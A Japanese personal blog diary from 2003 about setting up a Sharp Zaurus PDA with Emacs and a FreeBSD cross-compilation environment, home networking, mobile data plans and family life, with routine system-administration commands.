ちなみにおうちの子供部屋は横浜の方を向いていて電波状況が良いのですが、私の PC が置いてある部屋(てゆーかみんなの寝室)は電波状況があんまりよくなくて、接続するのが困難です。無線 LAN があるから実害はないのですが、なんとなく不愉快です(^^;。
あと、FreeBSD でのファイル転送が調子良くなく、なぜか 64K バイト単位くらいで一休み(^^;現象が発生して、とても速度が遅いのです。原因の追求はこんど。
↑勘違い(^^;。あと会社は電波状況良好です。
＃正直言いまして DDI さんはよほど頑張らないと苦しいですな。

2003年4月10日(木)

アンテナ
数日前から、某アンテナで某レンタル日記系が更新されても全然浮かび上がらない気がします。
日記側で更新チェッカーを拒絶しているのか、それとも、アンテナ側がレンタル日記を見にゆかないのか、どちらなのでしょう。アンテナ側で日記サービスも始めたようなので、なにか政治的な理由があるのかな。
↑てなこと書いてたら浮いてきましたね(^^;。
在庫なし
会社の近くのコジマ電気に P-in Free 1Sを買いにいったら(←おい^^;)在庫切れだそうです。結構人気があるようですねぇ。今度新宿か秋葉原に行ってみよう。
二女の高校
二女は一昨日入学式だったのですが、完全単位制の高校なのです。制度的には大学とおんなじで 3年間(別に 4年でもよいのですが)で必修単位と、選択単位を規定の単位数獲得すればよいのです。また一回の授業単位が 90分と、これも大学並です。
それで当然空き時間ができるとか、早く帰れる日ができたりする、というご利益があるのですが、10分遅刻したらその授業は欠席扱いという厳しい面もあります。
大昔の話ですが、わたしが通っていた高校では、カットという制度がありまして、例えばその日の最後の方の授業が自習になった場合、最大 2時間早く帰って良かったのです。6,7時間目が自習の場合、5時間目が終わった時点で帰れたわけです。
それで、週番の最も重要な役割としては、その日の最後でない授業の自習を最後にもってゆくことで、
- 3 時間目の A 先生がお休みで自習
- 7 時間目の B 先生が 3時間目空きなら 3時間目に授業をやってもらう。
- 7 時間目の B 先生が 3時間目 X クラスで授業で X クラスの 4 時間目が C 先生、B 先生が 4 時間目空き、C 先生が 3時間目空きならば X クラスのB 先生と C 先生を交換する。
- さらに自クラス 4時間目の先生が 3時間目が空きの場合、移動してもらう。
- それで B 先生の授業を 4時間目に移動。
という案配で、もっと複雑な場合もいろいろあったのですが、他のクラスの授業や、先生の授業を勝手に移動できまして、基本的に生徒の側に時間割り組み替え権(^^;があったのです。もちろん先生の了解は必要だったのですが、理由なく断ると先生も非難の矢面に立ったので、断る先生はいなかったですね。
クラス間でのバッティングとか色々ありまして、週番の能力が最も問われる場面だったのです。
現実に移動が不可能な場合でも、先生の移動に失敗すると、「無能もの」と激しくののしられたものです(^^;。

2003年4月9日(水)

一年
書きはじめてからちょうど一年経ちました。いやはや、よくぞ日記だけで一年もったものですな(^^;。
よろめき
ちょっと計算。
- AirH" をこれから半年使う金額 (5000 + 300) x 6 = 31800円
- @FreeD に変更して半年使う金額 24000 + 4000 + 7000= 35000 円
ちなみに 4000円は AirH" の解約料金。7000円は @FreeD 対応カードの概算金額です。あんまり違わないですね。迷ってしまいます(^^;。
奧さまの許可はでましたので、問題点としましては、ほとんど電車の中で使用するということで、移動中の接続性や速度と、 mopera を使用した場合の速度です。mopera はどんな案配なのでしょうか(^^;。
ちなみにモスキーちゃんの色合いはザウルスの壁紙にとってもよいのです。

2003年4月8日(火)

快適ザウルス
実はりなざうシリーズのブラウザ NetFront に、「画像を読み込まない」オプションがあるのを今日になって知ったりしました(^^;。
とっても快適です
@FreeD の誘惑光線が強くてよろめきかけていたのですが、もうしばらく 32K AirH" で頑張れそうです。
ちなみに、本日会社の社長が「かがみさん、AirH" と @FreeD の違いとか、どっちがよいかとか知ってますか」と聞きに来まして、かなり詳しく説明できたりしました。
「どうしてそんなに知ってるの」とのたもうて帰られてゆきました(^^;。
もひとつ。本日 Qtopia/ Qt で初のプログラムを作成しました。 Qt は Event/Slot モデルという考えで出来ておりまして、事象が発生した場合発生を検知したメソッドがEvent を生成して、Slot で定義され「接続された」メソッドを呼び出すのです。UDP を受信してイベントを発生させる、あたかも Delphi コンポーネント的なプログラムを作成してみました。 私以外は UDP の実装の知識なしでこれを使えるということです。 Qt というのは思ったよりちゃんとしたものなのですね。ソースも出しちゃいたいのですけど、一応仕事でつくったものなんでねぇ(^^;。
サンプルは、ザウルスに数字だけの画面が出ていて、ポート 9000 の UDP を受信するたびに増えていくだけなんですが。
IRC でお仕事
今働いている会社は東京以外にもいくつか事務所がありまして、そちら人と共同でソフトウエアを開発する場合もあるのです。こうゆう場合、一番問題になりますのが意思の伝達でありまして、通常、電話やメールを利用することになります。
ただしご存じの様に色々欠点がありまして、
- メールだとターンアラウンドに時間がかかる。細かいニュアンスが伝わらない場合もある。
- 電話ですと細かいニュアンスが伝わりやすいが、誤解や間違いも生じやすい。
というわけで、せっかく自宅で IRC サーバーが動作しているので、技術的な問題点のディスカッションの補助に IRC を使用してみようかな、と考えているのです。事例等もあるようですし、とりあえずやってみましょう。
＃おんなじ会社なのに、間に自宅をはさんだ方がやりやすいとゆうのも
＃面白いですね。企業はファイア─ウオール等で融通が効きませんから。

2003年4月7日(月)

お誕生日
奧さまとおんなじ日とはなかなかよいですな。おめでとうございます。
やっと分かったスクリーンショット
やっと、ザウルスのスクリーンショットの方法が分かりました。SD カードが載っている状態で、Fn+Shift+'C' キーを押すと、
/mnt/card/Screen_Files/
の下に勝手に bmp が出来る様です。そういえば、前に知らない bmp があったので消した記憶が(^^;。それで肝心のイメージですがこんな感じです。

＃線画壁紙いいでしょ(^^;。
(おまけ)
二女がケータイで撮ったパールちゃん。手はモカです。

2003年4月6日(日)

整理整頓
まずは、FreeBSD-4.8 が正式にリリースされたので R30,X24 ともに更新。 cvsup してから、
```
# cd /usr/src/ && rm -fr /usr/obj/* && make clean && make world && \
  cd /usr/src/sys/i386/conf/ && config KAGAMI && \
  cd ../../compile/KAGAMI/ && \
  make depend && make && make install # (^^;
```
でリブートしてめでたく完了しました。
それで、ザウルスも Emacs-lisp のほんの一部分しか使用しないのに、全部本体のフラッシュ ROM に入っているのももったいないので、Emacs-lisp のみを SD カードに移動しました。Emacs 本体と Mew は本体のフラッシュ ROM 内のままです。これで本体の余裕は 20M バイトから 27M バイトに復活しました。もともとが 30M バイト強だったので、絶大な効果です。
それで SD カードの書き込みは信じられないほど遅いのですが、読み込みはそこそこの速度ですので、Emacs の起動はほとんど遅くならず大成功と言えます。
リブートザウルス
新種の恐竜が発見されたそうです。てなわけなくって、上の記事で「大成功」なんて書きましたが、またまた再起動中にリブートを繰り返す様になってしまいました。「大失敗」です(-_-)。SD カードを抜いてリブートすると大丈夫なのです。ただし、swap を無効にしてもSD カードが入っているとだめなので全く原因不明です。
ザウルスの GUI の起動画面が出て、一瞬コンソールらしきものにエラー表示が出てリブートを繰り返します。てゆーか、コンソールモードってないのだろうか。全然エラー表示が読めないのです(^^;。
仕方がないのでまたまた初期化して、全部のプログラムとデータを入れ直しが完了したのが朝の 6時。こんどは Emacs と Emacs-lisp を分離した環境でも大丈夫でした。大成功です(^^;。
いやはや、りなざうもなかなか気難しいですな(^^;。
＃いずれにしても、データのバックアップは頻繁に行わねば。

2003年4月5日(土)

MC
昨日届きました。今月は特にてぬきですな。インターネットの方が忙しいのかな。それにしても、どうしてうちは一日遅れるのだろうか。FC 入会順に発送して一日では発送しきれないとか。まさかそんな(^^;。
あと、2月1日直後に FC継続の払い込みをしたのですが、全く音沙汰がないですな。今月一杯は有効なのですが、本当に大丈夫なのだろうか。
お食事会
今日は前の会社の I さん(女性)、P さん、やめた S さんが遊びに来てくれてお食事会でした。I さんが持ってきてくれたゲームで盛り上がりました。
いやはや、寒くて天気が悪いところ、わざわざ遊びに来てくださってありがとうございました。
cygwin で DOS 窓
S さんの話によりますと、cygwin を使用している場合、DOS 窓を使うより、 cygwin の inetd を動作させて telnetd または sshd 経由のログインを TeraTerm で行う方が使いやすいそうです。
ちなみに、S さんは自前でパーツを集めて X on Windows2 と同等の環境を作っている強者です(^^;。

2003年4月4日(金)

まとめてお返事
- Joe さん J.P.Serre 氏
  J.P.Serre 氏の論文や本には学生時代ずいぶんお世話になりました。特に、連接層に関する有名な論文
  Faisceaux algebriques coherents.
  Ann. of Math. (2) 61 (1955)
  は何回も読んだものです。Serre 氏の著作物の最大の特徴としては、対象や関係の本質に対する鋭い抽象による、信じられないほどに無駄な要素が排除された簡潔性が挙げられます。証明も本質的な部分のみが直裁的に流れて行くので、非常に読みやすく、理解しやすかったのです。「どうしてこんなに美しい定式化と証明ができるのだろうか」と驚嘆した記憶があります。
  ただし余りに証明が天才的すぎて、そのときは非常に理解しやすいのですが、なかなか自分の身につかない面はありました。
  わたしの「ものごとは簡潔な方がよい」という信念は J.P.Serre 氏の影響も少しはあるのかも知れません。
- うたたさん壁紙
  自宅や会社で PC を 7,8台管理していますが、その中で特に愛着があるマシンがいくつかありまして、その場合は壁紙を特に好きなものしたり、内部(ファイルシステム)の整理整頓をきちんとするのです。この前のスクリーンショットは一番気に入っているマシンなので、特に画面が派手ですね。もちろん壁紙を自慢したい という意図もあったりしました(^^;。
- モンキーさん P251iS のケーブル
  いやはや、もし動かなかったらなんか申し訳けない気がしていたので、動作して良かったです(^^;。
- たかたにさん @FreeD
  うーむ、私のように通勤電車で長時間使用する人には問題があるかも知れませんね。
ザウルスで Mew/Emacs-21.2
というわけで SL-B500 のデフォルトのメーラーは真面目な用途には使えないことが分かったので、覚悟を決めて Mew/Emacs-21.2 のインストールです。はてさてちゃんと動くのか(^^;。
結論から申し上げますと、こちらさまの記事が非常に役にたちまして、何も考えないで動作させることが出来たのです。
インストールしたパッケージ(プログラム)は次の通りです。
上の順番でインストールすれば良いのですが、注意事項は次の通り。
- ekb500-20030218.gz は展開して /home/QtPalmtop/bin/embeddedkonsole-ja という名前でコピー。ただしもともと同名のプログラムが入っているので、バックアップをとった方が良い。その後良く分からないが、アイコンの設定ということで、
  # cd /home/QtPalmtop/pics/konsole
  # ln -s up.png max.png
  # ln -s space.png next.png
- zsh のバージョンは 3.1 だとだめなそうな。ちなみに zsh を使わないとサスペンドでおかしくなるそうです。
- /home/QtPalmtop/qpe.sh のバックアップをとり、
  # export SHELL=/bin/bash
  export SHELL=/home/QtPalmtop/bin/zsh
  と変更する。
- emacs と mew はひたすらインストール。.emacs や mew.el 等の作成は emacs がとりあず動いた段階で FreeBSD 等からssh で入って設定した方が楽です。
- Cancel(On/Off) キーが Escape
- 住所録キーを Ctrl にするには /home/zaurus/Setup/qpe.conf を
  #Left2nd = Applications/addressbook
  Left2nd = @1021
  と書き換え。
- .emacs の本質的な部分は、
```
  ----------------------------------------------------
  (load-library "term/keyswap")
  (if (eq window-system 'x)
       (progn
        (define-key function-key-map [delete] [8]) ;;;; GOOD BS-key 
        (put 'delete 'ascii-character 8)))
  (set-language-environment "Japanese")
  (set-buffer-file-coding-system 'euc-jp-unix)
  (set-terminal-coding-system 'euc-japan)
  (set-language-environment "Japanese")
  (set-keyboard-coding-system 'euc-jp)
  ----------------------------------------------------
```
全部本体のフラッシュメモリーに導入したからか、立ち上がりは思ったより良く、Emacs が 5秒位、 Mew が 15秒位です。どうせ、一度起動したら落とすことはないですし。こういう使い方をする場合 swap の威力は絶大です。
ちなみに、フラッシュメモリーは 30M 残が 20M 残りになってしまいました。おっとデフォルトのメーラーを消せるから少しは回復するかな(^^;。
それで肝心の使い勝手ですが、さすがに画面がちっちゃいので、若干の苦労はありますが、個人的にはもともとの qtmail よりは使いやすいです。FreeBSD から ssh で入れば「本物^^;」と区別がつきません。もちろんほんものなのだが。
＃昨日書いた「規格はずれのメーラーの使用」に対する批判ですが、
＃プロの人に対して批判するわけで、素人の人が少々の規格はずれを
＃行っても、めくじらを立てるつもりはありません。

2003年4月3日(木)

最低のメーラー
ザウルス SL シリーズには、qtmail というメーラーが入っていて、もちろん普通の PC の FreeBSD で mew を使ったりするのとは比べ物にならない位不便なのですが、ある程度古いメールはどんどん捨てていって、あんまり長文のメールは書かない、という運用ならば十分実用に耐えます。携帯のよりはるかによいですからね。
だけどとんでもない欠点があって、Reply するときに、

Re: Re: ....

現象が発生するのです。注意して余分な Re: を消さねばならぬ。腐ってますな(-_-)。
Emacs パッケージ(21.2 だよ^^;)等も存在するのですが、あまりに巨大だし、果してどの位便利なのか不明です。起動するのに数分かかるといううわさもあるし、日本語環境構築(anthy) も面倒そうです。
そもそも、いつもなら大好きなキーボード多用のインターフェースは、ssh で入るとき以外はあんまり便利ではなさそうな気がする。
デフォルトを手なずけて使い込んだ方がよさそうですね。
しかし、さらにテストすると、「Re: テストです」という Subject: が

Subject: =?iso-2022-jp?b?UmU6IBskQiVGJTklSCRHJDkbKEI=?=

とエンコードされます。これでは使い物になりません。Re: の部分は外側にでなけりゃならぬ。大腐りです(=_=)。普段から規格はずれのメーラーの使用に関しては極めて批判的な立場をとっていることもありますので、すぐには無理としても入れ替える必要があります。入れ替えるまでは、個人的な用途に使用するだけにします。
＃さらに Re: は見掛けだけで、実際のスレッド情報も付加されません。
＃だーめだこりゃ(^^;。
徹夜～
現在 2時頃。今晩は自宅で徹夜仕事です。家を 6時半に出るので、うかつにも 5時頃沈没すると遅刻のパターンなのです(^^;。
ちなみに仕事の内容はザウルスではなく、ある種の NP 困難的な問題の最適解を、平均的に効率よく求めるという「ややあいまいな」内容だったりします。試行錯誤が多いのです。最近全然 ~~面倒だとか~~いやだと思わないのがとってもよろしい。完全な躁モードに突入ですな(^^;。
いやはや、やっぱり 5時頃につぶれてしまった。一応起きれたが小田急線が壊滅中。仕方ないですな(-_-)。
10時10分会社到着。

2003年4月2日(水)

サイエンス倶楽部
モカがサイエンス倶楽部の始業式(^^;で、奧さまと出かけてゆきました。ちなみにモカは K 先生が大好きで、担任になって下さるよう強く希望しております。おそらく、このあたりは融通が効くと思います。
四年生になると、塾に専念するためやめてしまう子が多いそうな。もったいないと思います。
ちなみに、おとーさんは、埼玉県だったりします。
こすぷれ
さっき奧さまとディズニーランドの話をしていて思い出したのですが、長女が小三、二女が幼稚園でモカがまだいなかったころ、セーラームーンのかっこうさせて、ディズニーランドに連れていったのです。昔からばか親でしたな。しかも二女が迷子になったという(^^;。

セーラームーンの服を着た幼稚園生位の...
いやいや、いくらなんでも、自分の名前位は言えましたが(^^;。
長女がセーラービーナス(美奈子ちゃん)で、二女がセーラーマーキュリー(亜美ちゃん) だったと思う。

2003年4月1日(火)

おでかけ
お子様たちです。長女とモカはディズニーシーへお遊び、二女はピアノ教室のアルバイトで初の外仕事。長女はそろそろ来年度の受験体制に入らないとまずいですな。
SL-B500 活用
中身をいじるのは会社の SL-C700 の方にして、最近は結構まともな使い方をしています。実際使っている機能としては、
- Web ブラウザ機能
- メール機能
- メモ帳
- スケデュール
というところで、ブラウザとメールはもちろん購入の主目的ですが、意外と役にたつのがスケデュールです。わたしは紙に書いて保存するということが出来ない(すぐになくなってしまう^^;)ので、今までは PC で管理していたのですが、電車の中等アクセスが悪い場合、結構不便な思いをしていたのです。
それからメモ帳機能は、ザウルスで入力するというより PC で入力した内容をザウルスに転送して、必要なときに参照するという使い方です。会議等での質問事項等を事前にまとめておくと便利だったりします。
ちなみに PC からザウルスへのメモの転送は簡単で、

$ todos なんたら.txt >かんたら.txt # Shift-JIS CR-LF に変換
$ scp かんたら.txt zaurus@zaurus:/mnt/card/Documents/Text_Files/

「とどす」の内容は、

#!/bin/sh
nkf -s $1 | awk '{printf("%s\r\n",$0)}'
sendmail の入れ替え
たかたにさんのページで知ったのですが、sendmail にまたまた buffer overflow のバグが発見されたとのことです。さっそくここからパッチを探して修正版に変更しました。三日前に make world やったばかりなのに(^^;。

2003年3月31日(月)

最近多い FreeBSD-users-jp のスパム
昔からたまにあったのですが、この一月位非常に増えています。いよいよ SpamAssassin の導入を考慮するときかもしれません。別に X24 まで上がってくるのは全然問題ないのですが、ザウルスまでは上がってきて欲しくないですからねえ。
てゆーわけで入れてみました。さてさてどうなることやら。
帰ってきた WLS-L11GW
人様のもので、 3月20日に壊れて修理に出したのが戻ってきました。基盤交換ということです。去年の 10月頃のロットで、3日で火を噴いたおうちの同機種と同じ時期の製品です。対応のおねーさんもやけに弱気だったので、この辺のロットは全滅だったのかも知れませんね(^^;。

2003年3月30日(日)

また散財(^^;
今までザウルスで 128M バイトの SD カードを使用していましたが、領域不足感と不便感をひしひしと感じてきました。
- swap 領域に 32M バイトを使用する。
- 緊急時初期化用ファイルが 30M バイト近く必要。
- 緊急時初期化用を兼ねるには FAT ファイルシステムである必要がある。
というわけで、もう残りが半分以下になってしまいましたし、ファイルシステムも FAT だったのです。それで 256M バイトの SD カードを注文してあったのですが、本日届きました。こんどは ext2fs(FreeBSD の ufs の様なもの)でフォーマットして今のところ swapfile 32M と ssh 関連のバイナリー入れとごく少量のデータにしか使用していないので、領域は 180M バイト以上残っています。
ちなみにお値段ですが、
- 128M 7,000円位
- 256M 12,000円位
- 512M 40,000円位
という訳で、256M のお買得感が強いのです。本当は 512M が欲しかったのですが、余りに高いですな(-_-)。それで 128M バイトのカードは、緊急初期化ブート用として第二の人生を送ることになるのです。とっても短い全盛期でしたね(^^;。
ザウルス関連の出費をまとめますと、
- 本体(42,000円位)
- SD カード 128M(7,000円位)
- SD カード 256M(12,000円位)
- Flash ROM 対応無線 LAN カード(10,000円位)
てゆーわけで、家庭用のパソコン一台買えそうな値段です。
仮想スクリーン
昨日のスクリーンショットをご覧になられればお分かりの様に、私はノート PC を 1440x1440 ピクセルの解像度で使用しています。ノート PC 自体の物理的な解像度は 1024x768 なので、「窓」を通じて、画面の一部分しか参照できないのですが、マウスの移動に追随して「窓」が高速に移動するので、 1440x1440 ピクセルを有効に利用できるのです。また、仮に 1440x1440 ピクセル表示可能な液晶ノートがあったとしても、文字が小さくなりすぎて全然読めないということになるので、仮想スクリーンは VRAM を有効に使用するとてもよい方法だと思うのです。そういうわけで、仮想スクリーンを嫌う人も多いのですが、個人的には大好きなのです。
それで、仮想スクリーンを快適に利用できる条件なのですが、
1. VRAM が十分ある。
  仮想スクリーンの移動はディスプレイカードへのデータ転送が発生するのではなく、ディスプレイコントローラーに VRAM の表示開始位置変更コマンドを投げるだけなので高速なのですが、もちろん、仮想画面を構成する分の VRAM が必要ということです。
2. 勝手に全画面表示になるアプリケーションがない。
  仮想スクリーン全体を一つのアプリケーションが占有したら、その不便さは、言語に絶するものがあります。
3. タスクバーがない。
  操作するたびに、仮想画面の下にマウスを移動するのはとても大変です。
4. そこそこの画面の大きさのアプリケーションを同時に扱いたい。
  Emacs や kterm を全部で 6 個以上とモジラを同時に立ち上げて、あっちこっちに移動して作業する場合が多いので、大きい作業領域は必須です。
などであると思うのです。昔 Windows でも「仮想画面をやってみようかな」と思って設定したことがあるのですが、上記 2,3の条件に反してしまい、余りの不便さに、数分間使用しただけでやめてしまいました。 Free UNIX 系でも、タスクバーでの操作が多い Gnome や KED は余り宜しくなく、画面上の任意の位置でのマウスボタン操作でほとんどのことが可能である WindowMaker などが適しています。

2003年3月29日(土)

やっと動いた Qtopia/Qt-embedded/Zaurus 開発環境
水曜の夜と木曜の夜、ほとんど寝ないで FreeBSD 上にりなざうの開発環境を作りました。いやはやこんなに苦労するとは(^^;。「そろそろ X24 を Linux にしたら」というノイズも聞えてくるのですが、そんなことはぜったいぜったいにしないのです。
それで、こんな感じのスクリーンショットになりまして、
- 上の真ん中にあるのが、開発画面でパーツをぺたぺた張りつけるものです。張りつけるといっても Delphi のように便利な感じではなく、単に張りつけたオブジェクトに関する「資源ファイルとソースの雛形(C++)」を作ってくれるだけの様です。まだ調査不足でイマイチ(全然)使い方が分からなかったりします。
- 左の端末に見えている XML は開発画面が吐き出したオブジェクトの記述です。
- 右の方にあるのが実機のシミュレーション画面で、開発したプログラムがこの画面で首尾よく動作すれば、実機でも動作する「はず」という訳です。ただしこの画面は i386 用のプログラムを実行するので、実機で動作させるには arm 用にクロスコンパイルし直す必要があります。
実際の開発環境は、FreeBSD Native のプログラムや Linux-Emulation のプログラムとか、ぐちゃぐちゃに混在していて、わけのわからないことになっています。インストールの詳細とかは、忘れてしまった(^^;のでこんど。
ちなみに Qt は KDE の開発とかに使われている GUI 開発キットで、それの組み込み用版が Qt-embedded というらしいのです。 Qtopia は Qt-embedded を動作させる環境で、実際にりなざうで動いているものです。
ところでザウルスを独立させるとゆーはなしは(=_=) ←いや～めんどーなんでこんど(^^;。
@FreeD
ドコモの定額 PHS 接続サービスなのですが、AirH" よりちょっとだけ安い価格で、64Kbit/sec といううたい文句です。仮に移行するとしても、おそらく人柱(^^;さまの状況をみてから、ということになると思いますし、すぐには移行できない事情があるのです。
- AirH" は一年契約で、まだ半年しか使っていないので、今解約すると違約金を取られてしまう。
- そもそも、機材を買うお金がなかったりする(^^;。
- IIJmio が現在のところ対応していない。また引っ越しというのもねえ(^^;。ネットワーク層しか依存していないので、引っ越しはかんたんなのですが。
- AirH" の 32Kbit/sec はとても遅いようだが、実はこの速度がちゃんと出ていれば使い物になるのであって、電車の中等のハンドオーバーで遅くなる方が実用上は困る。
というわけで、今年一杯は AirH" で頑張ろうとおもっているのですが、なんせ、衝動的にものを買ってしまう傾向が強まっているので、人柱さまが「よい」という判定をされた場合どうなるか分かりません。
FreeBSD-4.8RC
FreeBSD がもうすぐ 4.8 になるようです。いつになったら 5 系が落ち着くのかな。 CardBus のことを考えると 5 系も魅力はあるのですが、なかなかむずかしそうです。あと、最近 Linux をいじることも多いのですが、カーネルがどうのとか難しい話は抜きにして、 FreeBSD の ports の偉大さを再認識です。いやはや、ホントに Linux はアプリケーションのインストールが面倒なのです。

2003年3月28日(金)

今日のつっこみ
私ばかり書き込むわけにいかないのでこっち(^^;。
やはり、極悪サーバーにはファミリー100 + IEEE802.11g でしょうね。これでしばらく「ひとりごと」ねたには困らないと思います。一休み現象とかも起きるかも(^^;
それにしても、「押し売り」といっておいて血迷いかけるとはなんとゆうか(^^;。
グレゴール・ザムザ
自分で書いてしまうのもしゃれにならないが、これってフランツ・カフカの「変身」冒頭のパロディーだって分かってもらえたのだろうか。とっても心配(^^;。
やっと出てきたプログラムへの関心
この一年間、ずいぶんコンピュータを買ったり、自宅サーバーを設置したり、コンピューターに対する関心がなくなったように見えないかも知れませんが、実は内部的にはかなり危機的な状況だったのです。

プログラムを記述するのが非常に苦痛になっていたのです

さすがにもうだめかなと思いかけていたのですが、ザウルス効果もあるのかどうか分かりませんが、久々に「プログラムを書きたい」という強烈な意欲がでてきました。
普通は３ヶ月程度でおさまる周期的な不調が、今回は特に長かったようです。一年以上続きましたからねぇ。新しい会社もプログラミングが辛くて「そろそろまずいかな」とまで思っていました。まあ、ザウルス関連以外のプログラムも、全盛期に近い速度で書けるようになってきたので、これでまた数年間は大丈夫でしょう。
いやはや、時間が解決してくれる問題というのも色々ありますなぁ(^^;。
ちなみに次の条件があると、年取っても意外と衰えないのかも知れません。
- 若いとき情熱をもって熱中した。
- 継続している。
たとえば、数学は人生で一番情熱をもって勉強して、私の人格を実質的に形成したのは間違いないのですが、継続性がないので今は全然できません。コンピューターは、情熱度は数学よりはるかに劣りますが、それなりに熱中したし、なんせ継続しているので比較的長持ちしているのだと思います。

2003年3月27日(木)

ザウルスを独立
最近ザウルス日記の様になってしまったのと、ザウルスのアプリケーションは仕事として真面目に開発ということで、集約されていた方が自分としても便利なので、ザウルス関連の記事は、今度の休みに新規ページを作って独立させる予定です。
本来、谷山浩子さん、BSD、数学日記ですから。

＃ただし、現在ザウルスねたを別ページに書くと、本体の日記ねたが
＃非常に苦しくなったりします(^^;。
ところで、富良野の様子が全然聞えて来ないのですが、どんな感じだったのでしょうか。そろそろ書いて欲しいな。
お食事
昨日は学生時代の友人 S さんと食事。楽しかったです。
覚え書き
SL-B500 の時刻合わせ。
- まず [ntpdate_ntp-4.1.1b-z-4_arm.ipk] をインストールする。
- 次に [/etc/ppp/ip-up] の最後に次の行を追加。
```
-------------------------------------
if [ -e /usr/bin/ntpdate ]
then
     /usr/bin/ntpdate NTPserver &
fi
-------------------------------------
```
これで、PPP 接続のたびに大体時刻が同期する。無線 LAN 接続のたびに合わせる方法もあるが、現在はそこまでやっても意味がない。そろそろ自前の開発環境をつくらねば。
手始めに Linux-Emulator/FreeBSD でクロス環境
というわけで、コマンドライン版の開発環境。完全にこちらさまのそのままコピーなのですが、リンクがなくなったりしますと困りますので、こちらにも記述させて頂きます。Linux-Emulation は動作しているものと仮定します。また、[/usr/ports/devel/popt] と [/usr/ports/archivers/rpm] もインストール済みと仮定します。
- まずザウルス宝箱から、
```
binutils-cross-arm-2.11.2-0.i386.rpm
gcc-cross-sa1100-2.95.2-0.i386.rpm
glibc-arm-2.2.2-0.i386.rpm
linux-headers-arm-sa1100-2.4.6-3.i386.rpm
```
  をもってくる。
- # rpm -i --ignoreos --root /compat/linux なんたらかんたら.rpm
- [/compat/linux/opt/Embedix/tools/bin/] にパスを切る。./lib 等もライブラリーパスに入るようにする。必要があれば他のライブラリをもってくる。
とりあえずパスを切るのが面倒なので、
```
$ /compat/linux/opt/Embedix/tools/bin/arm-linux-gcc hello.c -o hello
```
hello を SL-500 にもっていって、端末で実行すれば、めでたく文字が出力されます。さーて、面倒なのが Qt 関連ですな。FreeBSD でできればよいが、難しいかも。いずれにしてもそれは後日。

2003年3月26日(水)

難しいザウルス充電方法
インターネットなんかで調べますと、リチウムイオン電池というのは、なるべく使いきってから満充電するのが長持ちさせる秘訣であって、少しずつ充電するのは良くないそうです。
これがとっても困るんです(^^;。普通、外へ持ち出すときは、満充電状態にしておきたいですよね。例えば出勤して、電池を半分くらい使った状態で会社に着いた場合、充電しないで帰りに半分使えば一番効率が良いのでしょうが、電池切れの不安も多々発生することになります。やっぱり会社では(SL-700の^^) 充電器につなぎっ放しということになります。電池の寿命が短くなるのでしょうが、快適な使用のためには仕方がないと割りきるしかないでしょう。
ちなみに、SL-C700 と SL-B500 の充電器は全く同じものです。
パンダ
モカの頭の中は奧さま似で、二女は(かわいそーに)私に似てしまったので、高校一年生と小学校四年生で精神年齢があんまり違わないのです。
それで、普段モカと二女は割と仲が良く、一緒に遊んでいることが多いのですが、そうすると当然けんかも多くなります(^^;。
先日もけんかをして、いつもよりちょっとエスカレートしまして、モカが大分やられた感じだったのです。
それでも、その時はおさまって、平和がもどったかなという雰囲気だったのです。
ところが、夜になって二女がふとんでうとうとしはじめたら、モカが突然二女の顔に向かってぬいぐるみを投げつけたのです(^^;。
もちろん、普通のぬいぐるみだったら問題なかったのですが、悪いことにオルゴールつきのぬいぐるみで、しかも固いところが二女の左目の直下を直撃したのです。
いたがってのたうちまわる二女と、攻撃力があまりにも強力だったのでうろたえているモカ。いやはや、大変な状況になりました(^^;。
モカは、いくらいじめられたからといっても、寝込みを襲うのは良くないと怒られて、二女も、あんまりいじめすぎると、こんなことになると怒られて、まあ災難でございました。いずれにしても、この事件はこれで終りになったと思っていたのですが...

次の朝、二女がなにか気がかりな夢から目を覚ますと、自分が寝床の中で一頭の小柄なパンダに変わっているのを発見した。

てゆーわけで、目を直撃していたらさすがにまずかったでしょうし、もっとはずれていたら攻撃力が少なかっただろうし、まさに直線方向も回転方向も、「針の穴を通すコントロール」だったのです(^^;。

2003年3月25日(火)

午後から埼玉
今日は午後から埼玉で打ち合わせです。
意外とすてきな線画壁紙
某(^^;チャチャさま系壁紙サイトで、管理人さまがあまりにお忙しく、後で色を塗られるということで、色を塗っていない線画のチャチャさまがアップされていました。

これがなかなかザウルスの壁紙によいのです。

ザウルスの画面は Windows などと違い、アイコンがカスケードに並んでいて、私の知る限り配置を調整する方法がないのです。それで、余り色が強い壁紙を使うと、アイコンが非常に見ずらくなり、アプリケーションの起動に支障をきたす場合もあるのです。その点線画を壁紙にすると、アイコンが見易くなるとともに、壁紙としての機能やかわゆさも十分という非常に好ましい状態になるのです。
それにしましても、コンピューターにとって、壁紙が最も重要な機能であり、他の機能などホントはどーでも良いのですが、ボタン一つで簡単に切り替る方法が提供されていないのは、メーカーの怠慢と言えます。
思い出した！ザウルスの壁紙に関する深遠なる議論が、 2002年9月11日に某(^^;掲示板で行われましたね。

2003年3月24日(月)

最近多いリンクダウン
どうも ADSL を 12Mbps[実際は良くて 3Mbps(-_-)] に変更してから、たまに会社からつながらなくなることがあります。10分位すると復旧するのですが、アドレスが変化しているので、リンクダウンが発生していると思われます。
ダイナミック DNS なので、一度リンクダウンが発生してアドレスが変化すると、少々時間がかかるのです。それでご家族様に聞いてみると、

「最近たまにつながらないことがある」

というお話。ご家族様の「つながらない」は相手がダウンしているとか、相手の速度とかをあんまり(全然)考慮しないので(^^;、少々割り引く必要があるのですが、やはり絶好調とは言えないようです。なんか 8Mbps で 12Mbps 用のモデムの時が一番よかったような気がします。
＃本当はあの電話線を 3Km 位伝わって 3Mbps でるというのは、
＃神業だと思っています。とんでもない変調技術です。
ちっちゃい無線 LAN
借り物の WLS-L11GW が壊れてしまったので、会社にちっちゃい無線 LAN(WLA-S11GK)を持っていきました。設定をしてつないだら、問題なく動きました。会社のはじっこまで PC を持っていっても大丈夫です。ちっちゃいのは、Ehternet 経由でしか中継ができない、アンテナをつけれない、等制限があるのですが、電波が届くのであればこれで十分です。
やっぱり便利な自宅 DNS
いろいろ教えて頂いて、自宅 DNS 環境は順調に動作しております。ご家族さま PC は特に他のマシンと接続することも滅多になく、私が不在の時電波の調子が悪くなって問題がでるのもいやなので、 DNS は IIJ に向けております。ご家族さまマシンのみが電波に依存していないのです。
FreeBSD マシンは自宅にいるときは、自宅の DNS(R30)、その他の場合は、 IIJ の DNS に向けているのですが、新しくザウルスが参入(^^;したことで、新規のエントリが必要になりました。この場合も R30 のエントリを編集して、 named を再ロードすれば良いので、非常に運用がよいのです。また、ザウルス側は、複数の接続エントリを作成出来るので、自宅や外や会社で使い分ければ良いのです。
いずれにしても、今までよりはるかに便利になったということで、いろいろありがとうございます。

2003年3月23日(日)

P251iS
